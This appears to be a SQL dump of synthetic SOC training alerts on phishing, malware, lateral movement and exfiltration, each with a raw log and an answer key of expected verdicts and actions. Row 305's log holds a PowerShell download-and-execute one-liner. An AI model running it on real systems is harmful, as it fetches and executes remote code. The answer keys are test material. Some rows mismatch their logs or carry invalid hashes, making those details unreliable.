(295, 'Malware Execution and Credential Harvesting', 'high', 'EDR', 'The malware was executed on a compromised system, allowing attackers to harvest credentials of bank clerks and administrators. This activity was detected following a successful phishing attempt, which is pivotal for attackers to gain further access to critical financial systems.', 'Malware', 'T1059 - Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:22:58Z\",\"event_type\":\"execution\",\"hostname\":\"finance-dept-pc1\",\"internal_ip\":\"192.168.10.45\",\"external_ip\":\"203.0.113.15\",\"malware_hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"filename\":\"credential_harvester.exe\",\"executing_user\":\"jdoe\",\"command_line\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Roaming\\\\credential_harvester.exe\",\"detected_by\":\"EDR\",\"status\":\"malicious\",\"os\":\"Windows 10\",\"process_id\":4567}', '2025-12-31 15:23:56', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"MD5 hash matches a known malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"credential_harvester.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Logs\",\"verdict\":\"malicious\",\"details\":\"Suspicious executable used for credential harvesting.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(296, 'Lateral Movement through Network Exploitation', 'high', 'Network Monitoring', 'Using the harvested credentials and specialized administrative tools, the attackers move laterally across the network. They target systems responsible for managing ATM withdrawal limits and SWIFT transactions, setting the stage for unauthorized financial operations.', 'Lateral Movement', 'T1021', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"10.0.2.15\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe_admin\",\"used_tool\":\"PsExec\",\"target_system\":\"ATM-Controller-02\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event\":\"Lateral movement detected from 192.168.1.105 to 10.0.2.15 using PsExec by user jdoe_admin.\"}', '2025-12-31 15:23:56', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted system.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP address associated with previous attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Compromised administrative account used for lateral movement.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malicious administrative tools.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(297, 'Manipulation of ATM Withdrawal Limits and SWIFT Gateway', 'high', 'Transaction Monitoring System', 'Attackers have manipulated ATM withdrawal limits and initiated unauthorized SWIFT transactions, leading to substantial financial losses. This step marks the culmination of their heist.', 'Manipulation', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:35:00Z\",\"event_id\":\"ATM-TRANS-0004\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.25\",\"username\":\"jdoe_admin\",\"action\":\"ATM Withdrawal Limit Manipulation\",\"transaction_id\":\"SWIFT-TRANS-8976\",\"file_hash\":\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\",\"affected_account\":\"1234567890\",\"amount\":\"50000\",\"currency\":\"USD\"}', '2025-12-31 15:23:56', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known IP for financial fraud operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal bank system IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Admin account used during unauthorized transaction manipulations.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"4e5b6c7d8f9a0b1c2d3e4f5g6h7i8j9k\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with malware used for financial fraud.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(302, 'Suspicious Process Execution Detected', 'high', 'CrowdStrike', 'A suspicious process was executed on a host using a known LOLBin technique. The executed script attempted to connect to a known Command and Control (C2) server.', 'Malware', 'T1218', 1, 'New', NULL, '{\"timestamp\":\"2023-10-01T15:24:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.1.25\",\"dst_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"hostname\":\"workstation-05\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"domain\":\"malicious-c2.example.com\"}', '2026-01-01 23:58:23', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for C2 activities\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash associated with malware\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The process used a known LOLBin for execution and attempted to communicate with a malicious C2 server, confirming the malware presence.\"}', 'Intermediate', 'NULL', 1, 0, NULL),
(303, 'Phishing Email with Malicious Link Detected', 'critical', 'Proofpoint', 'A phishing email was received containing a malicious link designed to harvest credentials. The email used a spoofed domain similar to a trusted one.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2023-10-02T09:15:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.45\",\"username\":\"asmith\",\"hostname\":\"email-server\",\"email_sender\":\"admin@trusfed-business.com\",\"url\":\"http://malicious-link.example.com\"}', '2026-01-01 23:41:20', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"admin@trusfed-business.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"Email domain spoofing a legitimate business\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing site designed to steal credentials\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_hash\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email was confirmed to be a phishing attempt due to the malicious link and spoofed domain, matching known phishing patterns.\"}', 'Advanced', 'EDR', 1, 0, 'GOVERNMENT');
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`) VALUES
(304, 'Spear Phishing Email Detected', 'medium', 'Email Gateway', 'A spear phishing email from a malicious source, disguised as a communication from a trusted partner, was detected targeting an employee in the finance department. The email contained a malicious attachment and a suspicious link.', 'Phishing', 'T1566.002', 1, 'Closed', 34, '{\"timestamp\":\"2023-10-05T14:22:35Z\",\"email_id\":\"1234567890\",\"from\":\"finance.partner@maliciousdomain.com\",\"to\":\"john.doe@company.com\",\"subject\":\"Urgent: Q3 Financial Report\",\"attachment\":\"Q3_Report.docm\",\"attachment_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"url\":\"http://maliciousdomain.com/securelogin\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\"}', '2026-01-02 04:27:59', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"finance.partner@maliciousdomain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known phishing source\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious macro detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://maliciousdomain.com/securelogin\",\"is_critical\":true,\"osint_result\":{\"source\":\"PhishTank\",\"verdict\":\"malicious\",\"details\":\"Phishing URL targeting credentials\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Blacklist\",\"verdict\":\"malicious\",\"details\":\"IP associated with known phishing campaigns\"}}],\"recommended_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Beginner', 'NULL', 1, 0, NULL),
(305, 'Suspicious PowerShell Execution', 'high', 'EDR', 'A PowerShell script was executed on the compromised system. This script is suspected to be used to establish a foothold and download additional malicious payloads. The execution follows a successful phishing attempt that targeted user john.doe.', 'Execution', 'T1059.001', 1, 'new', 34, '{\"timestamp\":\"2023-10-02T14:23:45Z\",\"event_id\":4688,\"process_name\":\"powershell.exe\",\"command_line\":\"powershell -NoProfile -ExecutionPolicy Bypass -Command \\\"IEX(New-Object Net.WebClient).DownloadString(\'http://malicioussite.com/payload\')\\\"\",\"user\":\"john.doe\",\"source_ip\":\"192.168.1.100\",\"destination_ip\":\"203.0.113.45\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"filename\":\"malicious_script.ps1\"}', '2026-01-02 04:27:59', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"This hash is associated with a known malware sample.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"malicious_script.ps1\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Filename pattern matches known malicious script naming conventions.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"User account that was targeted during the attack.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(306, 'Persistence Mechanism Established', 'high', 'Endpoint Logs', 'The attacker has established a persistence mechanism on the compromised system by creating a scheduled task and modifying registry keys. This ensures the malicious software remains active and reinitiates upon system restart.', 'Persistence', 'T1050 - New Service', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:45:00Z\",\"event_type\":\"registry and scheduled task modification\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"affected_user\":\"john.doe\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\maliciousApp\",\"scheduled_task\":{\"task_name\":\"SystemUpdater\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\taskhost.exe\",\"creation_time\":\"2023-10-12T14:40:00Z\"},\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\"}', '2026-01-02 04:27:59', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"IP Reputation Database\",\"verdict\":\"malicious\",\"details\":\"Associated with known threat actor\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal workstation\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Valid user account\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by multiple AV engines as malware\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"taskhost.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Mimics legitimate Windows process\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(307, 'Unauthorized Lateral Movement Detected', 'high', 'Network Logs', 'The attacker used stolen credentials to move laterally across the network, probing for systems hosting geological data repositories. The lateral movement was detected from internal IP 192.168.1.15 to 192.168.1.20 using compromised credentials of user \'j.doe\'.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"1001\",\"source_ip\":\"192.168.1.15\",\"destination_ip\":\"192.168.1.20\",\"username\":\"j.doe\",\"action\":\"Lateral Movement\",\"result\":\"Success\",\"external_ip\":\"203.0.113.45\",\"file_accessed\":\"\\\\\\\\192.168.1.20\\\\geodata\\\\confidential_report.docx\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\"}', '2026-01-02 04:27:59', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used in lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Target internal system hosting valuable data.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Compromised credentials used for lateral movement.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP involved in credential theft.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known malicious activity associated with this file hash.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'NULL', 1, 0, NULL),
(308, 'Data Exfiltration Attempt', 'high', 'Firewall', 'An attempt was detected to transfer sensitive geological data out of the corporate network. The attacker, believed to be APT34, is using encrypted channels to exfiltrate data to a command and control server.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"src_ip\":\"10.1.2.15\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"bytes_sent\":1048576,\"bytes_received\":512,\"filename\":\"geo_data_export.zip\",\"hash\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"username\":\"jdoe\",\"url\":\"https://malicious-c2.com/exfil\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"alert_id\":\"FW-EXFIL-20231015-001\"}', '2026-01-02 04:27:59', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.1.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known APT34 command and control server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"f2ca1bb6c7e907d06dafe4687e579fce\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malicious file hash associated with data exfiltration tools\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"https://malicious-c2.com/exfil\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLhaus\",\"verdict\":\"malicious\",\"details\":\"URL associated with APT34\'s exfiltration operations\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"geo_data_export.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file likely to contain geological data\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"clean\",\"details\":\"Legitimate user account, potentially compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NULL', 1, 0, NULL),
(313, 'Suspicious PowerShell Script Execution Detected', 'high', 'Endpoint', 'A PowerShell script was executed on a critical server with unusual parameters that could be indicative of a malicious payload or reconnaissance activity.', 'Process Execution', 'T1059.001', 1, 'investigating', NULL, '{\"timestamp\":\"2023-10-14T11:35:45Z\",\"hostname\":\"finance-server-03\",\"user\":\"jdoe\",\"process_name\":\"powershell.exe\",\"cmdline\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File \\\\\\\\192.168.1.50\\\\share\\\\suspicious.ps1\",\"file_hash\":\"b5c0b187fe309af0f4d35982fd961d7e\",\"parent_process\":\"explorer.exe\",\"pid\":4567,\"ppid\":4123,\"integrity_level\":\"High\",\"network_connections\":\"None\",\"additional_info\":{\"script_block_logging\":\"Enabled\",\"module_logging\":\"Enabled\"}}', '2026-01-02 15:31:52', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"152.82.254.41\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 152.82.254.41 reported 141 times for malicious activity. Abuse confidence score: 89%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Intermediate', 'EDR', 1, 0, 'OT_ICS'),
(314, 'Port Scanning Detected from External Source', 'medium', 'Network', 'Multiple connection attempts on increasing port numbers were detected from an IP address not previously seen, suggesting a potential reconnaissance attempt.', 'Network Anomaly', 'T1046', 0, 'New', NULL, '{\"timestamp\":\"2023-10-14T13:47:08Z\",\"src_ip\":\"185.32.184.76\",\"src_port\":4723,\"dest_ip\":\"172.16.0.10\",\"dest_ports\":[22,23,80,443,8080],\"protocol\":\"TCP\",\"packet_count\":50,\"byte_count\":11000,\"user_agent\":\"Mozilla/5.0\",\"geo_location\":{\"country\":\"Germany\",\"city\":\"Frankfurt\"},\"additional_info\":{\"as_number\":12345,\"as_org\":\"Example ISP\"}}', '2026-01-02 13:35:26', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"221.191.155.57\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP 221.191.155.57 reported 235 times for malicious activity. Abuse confidence score: 89%.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Account shows multiple failed login attempts followed by successful authentication.\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"suspicious_activity\"}', 'Beginner', 'NDR', 1, 0, 'OT_ICS'),
(315, 'Malware Detected via Suspicious Process Execution', 'high', 'CrowdStrike', 'A suspicious process \'malware.exe\' was executed on the host \'WORKSTATION-01\'. The process has been linked to a known malware campaign targeting enterprise environments.', 'Malware', 'T1059', 1, 'Closed', 54, '{\"timestamp\":\"2026-01-02T10:23:45Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.2\",\"hostname\":\"WORKSTATION-01\",\"username\":\"jane.doe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_path\":\"C:\\\\Users\\\\jane.doe\\\\malware.exe\"}', '2026-01-02 11:44:27', '2026-01-11 01:09:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash detected as part of a well-known malware campaign.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.2\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Source IP is part of the internal network.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jane.doe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Username belongs to an internal employee.\"}}],\"expected_actions\":[\"block_hash\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The execution of a known malicious file indicates a real threat requiring immediate containment and investigation.\"}', 'Intermediate', 'NULL', 1, 0, NULL),
(316, 'Phishing Attempt Detected via Malicious Email', 'medium', 'Proofpoint', 'An email containing a malicious URL was received by user \'john.smith\'. The URL is associated with credential harvesting attacks.', 'Phishing', 'T1566', 1, 'investigating', 34, '{\"timestamp\":\"2026-01-02T08:47:30Z\",\"event_type\":\"email_received\",\"email_sender\":\"no-reply@fakebank.com\",\"username\":\"john.smith\",\"url\":\"http://malicious-link.com/login\"}', '2026-01-02 14:22:02', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"no-reply@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Email address is associated with recent phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL linked to phishing sites targeting user credentials.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"john.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"internal\",\"details\":\"Username belongs to an internal employee.\"}}],\"expected_actions\":[\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The presence of a malicious URL in an email suggests a phishing attack aimed at harvesting credentials.\"}', 'Beginner', 'NULL', 1, 0, NULL),
(317, 'Suspicious Email Detected with Potential Phishing URL', 'medium', 'Proofpoint', 'An email was received from a suspicious sender with a URL known for phishing activities. The email appears to be a spoofed message attempting to trick users into clicking the malicious link.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-01-02T08:34:22Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.12\",\"email_sender\":\"noreply@alerting-service.com\",\"domain\":\"alerting-service.com\",\"url\":\"http://malicious-phishing-link.com\",\"username\":\"john.doe\",\"hostname\":\"johns-pc\"}', '2026-01-02 11:43:28', '2026-01-11 01:06:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 23 times for phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"alerting-service.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No malicious activity detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-phishing-link.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with ongoing phishing campaign\"}}],\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The presence of a known malicious URL and reports of phishing from the IP suggest this is a true positive.\"}', 